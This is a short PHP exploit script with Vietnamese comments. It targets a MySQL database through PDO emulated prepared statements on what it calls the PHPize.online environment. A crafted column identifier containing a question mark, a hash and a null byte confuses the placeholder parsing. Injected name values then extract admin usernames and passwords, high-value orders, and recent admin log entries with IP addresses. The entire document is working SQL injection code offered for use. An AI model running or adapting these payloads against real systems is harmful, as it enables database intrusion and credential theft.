<?php
// PHPize.online environment exploit script
// MySQL 8.0, PHP 8.x với PDO emulated prepares mặc định bật
// 1. Thiết lập PDO
$pdo = $GLOBALS['pdo']; // PHPize.online tự cung cấp $pdo kết nối MySQL
$pdo->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);
// 2. Hàm thực thi exploit
function runExploit(PDO $pdo, string $colPayload, string $namePayload): void {
echo "=== Exploit payload ===\n";
echo "- col payload (hex): " . bin2hex($colPayload) . "\n";
echo "- name payload: " . $namePayload . "\n\n";
// Xây dựng identifier với payload
$col = '`' . str_replace('`', '``', $colPayload) . '`';
$sql = "SELECT $col FROM fruit WHERE name = ?";
// Prepare & Execute (cung cấp 2 giá trị để khớp 2 dấu '?')
$stmt = $pdo->prepare($sql);
$stmt->execute([null, $namePayload]);
// Hiển thị kết quả
$rows = $stmt->fetchAll(PDO::FETCH_NUM);
if (empty($rows)) {
echo "No data returned.\n";
} else {
foreach ($rows as $r) {
echo $r[0] . "\n";
}
}
echo str_repeat("─", 40) . "\n\n";
}
// 3. Exploit các bảng custom trên PHPize.online
// A) Trích xuất admin credentials từ bảng users
runExploit(
$pdo,
'?#' . chr(0),
"x` FROM (SELECT CONCAT(username,':',password) AS `x` FROM users WHERE role='admin')y;#"
);
// B) Trích xuất đơn hàng >1000 từ bảng orders
runExploit(
$pdo,
'?#' . chr(0),
"x` FROM (SELECT CONCAT(product_name,' ($',amount,')') AS `x` FROM orders WHERE amount>1000)y;#"
);
// C) Trích xuất 5 log hệ thống mới nhất từ bảng admin_logs
runExploit(
$pdo,
'?#' . chr(0),
"x` FROM (SELECT CONCAT(action,' @ ',ip_address,' — ',details) AS `x` FROM admin_logs ORDER BY timestamp DESC LIMIT 5)y;#"
);
?>